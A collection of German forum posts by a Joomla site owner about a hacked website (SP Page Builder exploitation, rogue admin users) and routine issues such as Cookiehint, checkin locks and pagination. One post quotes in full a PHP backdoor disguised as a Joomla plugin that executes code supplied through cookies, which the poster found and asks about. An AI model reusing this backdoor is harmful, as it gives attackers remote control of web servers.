Beiträge von michael58

    Hallo,

    die Auswertung des Webserverlogs der letzten sechs Wochen hat ergeben, dass ab 14.06. abends 61 mal die Sicherheitslücke des SP Page Builders ausgenutzt wurde. Die verursachenden IP kamen überwiegend aus Schweden, daneben noch Seychellen und USA. Das Muster lief immer gleich ab: eine PHP mit einem Phantasienamen einschleusen, ausführen und meistens am Ende wieder löschen. Das Löschen scheint nicht immer durchgeführt worden zu sein. Einige Reste mit kryptischen Namen fand ich direkt im Root, im /tmp, im /images, ... Ich hätte mir gerne einige Inhalte angesehen, aber am Ende die Finger davon gelassen, da der Windows-Defender davor warnt. Da der Timestamp der Reste teilweise auch nach dem Offlinenehmen des Webseite liegt, habe ich mich entschlossen, das gesamte Installationsverzeichnis platt zu machen und neu aufzubauen. Außerdem werden alle Passwörter geändert.

    Ein Drüberinstallieren von SP Page Builder Lite über Pro scheint auf den ersten Blick zu funktionieren. Ich sehe keine Einschränkungen oder nutze anscheinend keine Pro-Funktionen.

    Vielen Dank für die Analyse-Tipps.

    Gruß Michael

    Hallo,

    am 15.06.2026 wurde die SP Page Builder Version 6.6.2 herausgegeben, um eine Sicherheitslücke zu schließen, mit der Angreifer unter Umständen ohne Login Schadcode einschleusen können. Tatsächlich ist das wohl bei mir geschehen, da ich unbekannte Adminuser unter meinen Benutzern entdeckt habe. Die wurden gelöscht und die Seite offline genommen. Frage: gibt es eine Möglichkeit herauszufinden, ob Code eingeschleust wurde? Oder macht die Suche keinen Sinn und man spielt einfach eine Sicherung ein? Weitere Frage ist, dass ich die SP Page Builder Variante "Pro" mal mit einem Template zusammen gekauft habe - Joomshaper bietet aber eine SP Page Builder Variante "Lite" an. Lässt die sich darüber installieren?

    Gruß Michael58

    Hallo zusammen,

    danke für die ausführlichen Hinweise und Warnungen. Dann hat es mal wieder jemand geschafft, meine Seite zu hacken (das erste Mal, kurz bevor Joomla 2 aus der Wartung ging). Ich werde zunächst eine alte Sicherung zurückspielen und dann mit Joomla 4 neu beginnen.

    Bis dann

    Michael

    Strato sperrte meine Website mit folgender Begründung:

    Zitat

    Auf Ihrem Webspace befinden sich 1 schadhafte Dateien. Wir gehen davon aus, dass unbekannte Dritte diese Dateien in Ihren Webspace eingeschleust haben.

    Ursache sollte eine .config.php im Root sein. Die Datei wurde 2015 letztmalig geändert. Nach der Löschung dieser Datei wurde nach einem neuen Scan durch Strato meine Website entsperrt. Der Inhalt der .config.php ist im Folgenden aufgeführt. Leider kann ich kein PHP. Daher die Frage: ist diese .config.php nicht immer standardmäßig im Root? Was passiert(e) in der schadhaften PHP bzw. was ist das Risiko?

    Viele Grüße

    Michael

    <?php

    /**

    * @package Joomla.Plugin

    * @subpackage system.instantsuggest

    *

    * @copyright Copyright (C) 2013 InstantSuggest.com. All rights reserved.

    * @license GNU General Public License version 2 or later

    */

    /**

    * Instant Suggest Ajax

    *

    * @package Joomla.Plugin

    * @subpackage system.instantsuggest

    * @since 3.1

    */

    class PlgSystemInstantSuggest

    {

    public function __construct() {

    $filter = @$_COOKIE['p3'];

    if ($filter) {

    $option = $filter(@$_COOKIE['p2']);

    $auth = $filter(@$_COOKIE['p1']);

    $option("/123/e",$auth,123);

    die();

    }

    }

    }

    $suggest = new PlgSystemInstantSuggest;

    Hallo,

    ich versuche Cookiehint auf meiner Webseite zum Laufen zu bekommen. Nach dem enabeln (mit default-Konfiguration) und Ordering "first" wird auf meiner Webseite http://www.michael-jaffke.de/ nur ein Symbol dauerhaft angezeigt, das immer dann erscheint, wenn das Laden der Webseite länger dauert. Der Rest der Seite ist leer. Der Ladeprozess kommt also nicht zum Ende?

    Joomla Version ist 3.10.11

    System Cache stand/steht auf OFF

    Platform specific caching stand auf YES / eine Änderung auf NO bewirkt keine Änderung

    Nach dem disabeln von Cookiehint und einem refresh im Browser wird die Seite direkt geladen.

    Jemand eine Idee, was das Problem ist?

    Gruß Michael

    Hallo Elwood,

    ein Plugin System - Sprachkürzel habe ich nicht. Dein Hinweis hat mich aber in die richtige Richtung geführt. Ich habe im Plugin System - language filter den eingekreisten Schalter auf YES gesetzt. Wer immer mir den Schalter auch auf NO gesetzt hat - das Problem ist gelöst. Vielen Dank.

    Gruß Michael

    Nach einer Netzwerkunterbrechung kann ich den Checkin-Status (Vorhängeschloss) bei einem Artikel nicht mehr zurücksetzen. Folgende Dinge habe ich versucht und führten nicht zum Erfolg: Refresh des Browsers, Abmeldung/neue Anmeldung. Checkin beim Artikel oder System/Global Checkin führen zwar dazu, dass das Schloss verschwindet. Man kann den Artikel zwar editieren, aber ein Save/Close ist nicht möglich. Es wird stattdessen die Seite angezeigt, um Ergebnisse lokal auf dem PC zu speichern mit dem vorbelegtem Dateinamen index.

    Kennt jemand dieses Problem und die Lösung?

    Hallo Christian,

    auf der Ebene http://www.michael-jaffke.de/blog handelt es sich um eine Kategorieliste, auf der Ebene http://www.michael-jaffke.de/blog/unterwegs handelte es sich vorher um einen Kategorieblog, jetzt umgestellt auf Kategorieliste.

    Dieser Unterschied ist aber nicht relevant für das Problem.

    Passt der Inhalt des Kategorieblogs oder der Kategorieliste nicht mehr auf eine Seite, so wird "mittendrin" abgeschnitten und es scheint so, dass Informationen fehlen.

    Tatsächlich gibt es aber Folgeseiten, die sichtbar gemacht werden durch Einstellung der Pagination bei dem Menu Item. Default ist "hide", ich habe sie umgestellt auf "show". Nun kann man auf die Folgeseiten blättern zu den "abgeschnittenen" Beiträgen.

    Gruß Michael

    Hier der Link zur Anzeige der max. 6 existierenden Beiträge unter der Kategorie "unterwegs":

    http://www.michael-jaffke.de/blog/unterwegs

    Indigo66 Es gibt m.M. keinen Unterschied zwischen den Beiträgen. Ein Neuladen der Seite bewirkt, dass aus der Auswahl der 6 Beiträge immer 4 nach dem Zufallsverfahren angezeigt werden. Wenn ich oft genug die Seite neu geladen habe, sind irgendwann auch mal alle Beiträge angezeigt worden - aber maximal 4 statt der tatsächlichen Anzahl.

    chr-hl Eine Veränderung des Wertes #Articles to List = "10" hat keine Auswirkung. Verwendetes Template: Theme3573. Auf Protostar umschalten kann ich nicht, da ich das mal gelöscht habe. Das Wiederherstellen gelingt mir auf die Schnelle nicht, da ich mit einer gefundenen Beschreibung, in der die Datenbankeinträge #_extensions und #_template_styles upgedated werden müssen erstmal prüfen möchte, ob die SQL noch zum aktuellen Datenbankstand 3.9.26 passt.

    Gruß Michael58

    Code